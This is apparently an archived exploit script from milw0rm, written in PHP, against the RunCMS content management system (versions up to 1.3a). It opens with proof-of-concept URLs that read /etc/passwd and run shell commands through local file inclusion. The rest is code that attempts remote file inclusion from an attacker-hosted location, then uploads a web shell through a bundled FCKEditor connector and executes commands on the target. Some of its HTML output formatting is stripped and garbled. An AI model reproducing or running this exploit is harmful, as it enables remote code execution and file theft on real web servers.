in http://[somehost]/include/user_level.php/index.html and in: http:/[somehost]/language/suntzu/main.php/index.html
it seems this vulnerabilties has been patched from 1.3 version and old packages <= 1.2 has been uptaded with new patches ii) on unpatched <=1.2: if allow_url_fopen = Off, but magic_quotes_gpc = Off, you can include a file from local resources: http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=../../../../../../test.php%00 http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&bbPath[path]=../../../../../../test.php%00 http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?bbPath[path]=../../../../../../../../etc/passwd%00 http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=../../../../../../../../etc/passwd%00 iii) on 1.3a version: also, integrated in runCMS we have an old version of FCKEditor (see this exploit link: http://retrogod.altervista.org/fckeditor_22_xpl.html) so you can upload files on target machine, .php3 files, .php5 and inc files call them directly (iii.a) and if not set as executable files on target machine, you can try local inclusion with versions <=1.2 (ii.b) poc: (iii.a) http://[target]/[path]/UserFiles/File/shell.php5?cmd=ls%20-la (ii.b) http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=[how far from runcms root?]../../../UserFiles/File/shell.inc%00 http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&bbPath[path]=[how far from runcms root?]../../../UserFiles/File/shell.inc%00 */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 5); ob_implicit_flush (1); echo'********RunCMS <= 1.3a remote commands execution********

********RunCMS <= 1.3a remote commands execution*********

a script by rgod at http://retrogod.altervista.org

* hostname (ex:www.sitename.com)

* path (ex: /runcms/ or just / )

* specify a command

a remote location ( ex: http://www.somesite .com, without traling slashes) , if you leave empty STEP 1-2 will be skipped..., it works with versions <=1.2

specify a port other than 80 (default value)

send exploit through an HTTP proxy (ip:port)

'; function show($headeri) { $ii=0;$ji=0;$ki=0;$ci=0; echo ''; while ($ii <= strlen($headeri)-1){ $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) { echo ""; } else { echo " "; } $ii++;$ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
  ".htmlentities($headeri[$li+$ki])."
0".htmlentities($datai)."".htmlentities($datai)."  ".htmlentities($headeri[$li])."
"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //2x speed { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.
"; echo "Attempting to connect to ".$host." on port ".$port."...
"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock);echo nl2br(htmlentities($html)); } function refresh() { flush(); ob_flush(); usleep(100000); } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } $host=$_POST[host];$path=$_POST[path]; $port=$_POST[port];$LOCATION=$_POST[LOCATION]; $CMD=$_POST[CMD];$proxy=$_POST[proxy]; echo ""; if (($host<>'') and ($path<>'') and ($CMD<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("\n","",str_replace("\r","",$host)); $path=str_replace("\n","",str_replace("\r","",$path)); $CMD=urlencode($CMD); if ($LOCATION<>'') { # STEP 1 -> arbitrary remote inclusion in modules/newbb_plus/class/class.forumposts.php $packet="GET ".$p."modules/newbb_plus/class/class.forumposts.php?"; $packet.="cmd=$CMD&bbPath[path]=$LOCATION HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;} # STEP 2 -> arbitrary remote inclusion in modules/newbb_plus/class/forumpollrenderer.php $packet="GET ".$p."modules/newbb_plus/class/forumpollrenderer.php?"; $packet.="cmd=$CMD&bbPath[path]=$LOCATION/&xoopsConfig[language]=suntzu HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;} //if you are here... echo "Arbitrary remote inclusion failed... trying STEP 3 -> Uploading a shell through FCKEditor
"; } # STEP 3 -> Use FCKEditor to upload malicious code $SHELL =""; //we try to guess allowed extensions... // you should succeed with .php3 $extensions= array('.php', '.php3', '.php5', '.phtml','.pwml', '.php4', '.php2', '.inc'); //add what you want //'FileUpload' for versions 2.11 - 2.1 - 2.0rc3 - 2.0rc2 - 2.0rc1 - 2.0fc //empty for 2.2 $upload_command= array('FileUpload',''); $path_to_shell="/UserFiles/File/"; //default one: if different, script will find it //calculate how far we are from site root $cc=explode("/",$path); $ccc=count($cc)-2; $back=""; for ($xx=1; $xx<=$ccc; $xx++) { $back.="../";} for ($x=0; $x<=count($extensions)-1; $x++) { for ($y=0; $y<=1; $y++) { # STEP 3a -> Upload the shell srand(make_seed()); $anumber = rand(1,9999); $filename="suntzu".$anumber.$extensions[$x]; $data="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n"; $data.="Content-Type:\r\n\r\n"; $data.="$SHELL\r\n"; $data.="-----------------------------7d529a1d23092a--\r\n"; $packet="POST ".$p."class/fckeditor/editor/filemanager/browser/default/connectors/php/"; $packet.="connector.php?Command=".$upload_command[$y]."&Type=File&CurrentFolder= HTTP/1.1\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n"; $packet.="User-Agent: Sun-tzu giving you the pain\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); if (!eregi("200 OK",$html)) {die("Cannot find connector.php...
");} if (eregi("This connector is disabled",$html)) {echo "Exploit failed... -> php connector not enabled";die;} if (eregi("url=\"",$html)) { $temp=explode("url=\"",$html); $temp2=explode("\"",$temp[1]); $path_to_shell=$temp2[0]; } echo "
path where I search shell: ".htmlentities($path_to_shell)."
"; # STEP 3b -> Launch commands... #by default a "UserFiles/File/" dir is generated inside site root when you upload #files, this dir is not protected by an .htaccess file or whatever $packet="GET ".$path_to_shell.$filename."?cmd=$CMD HTTP/1.1\r\n"; $packet.="User-Agent: GoogleBot/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("200 OK",$html)){ if (eregi("HiMaster!",$html)) { echo "Exploit succeeded...
"; echo "we have a shell in http://".$host.$path_to_shell.$filename."
"; echo "we should have phpinfo() here, see html...
"; die; } else { echo "Successfully uploaded...
but is not an executable on target server...
let's try to include it...
"; # STEP 3c $packet="GET ".$p."modules/newbb_plus/class/class.forumposts.php?"; $packet.="cmd=$CMD&bbPath[path]=".$back."../../..".$path_to_shell.$filename."%00 HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;} # STEP 3d $packet="GET ".$p."modules/newbb_plus/class/forumpollrenderer.php?"; $packet.="cmd=$CMD&bbPath[path]=".$back."../../..".$path_to_shell.$filename."%00 HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;} } } refresh(); } } //if you are here echo "Exploit failed..."; } else {echo "Note: on remote location prepare this code in
http:/[remote_location]/include/user_level.php/index.html
and in:
http:/[remote_location]/language/suntzu/main.php/index.html
"; echo nl2br(htmlentities(" ")); echo "
Fill * required fields, optionally specify a proxy...";} echo ""; ?> # milw0rm.com [2006-02-09]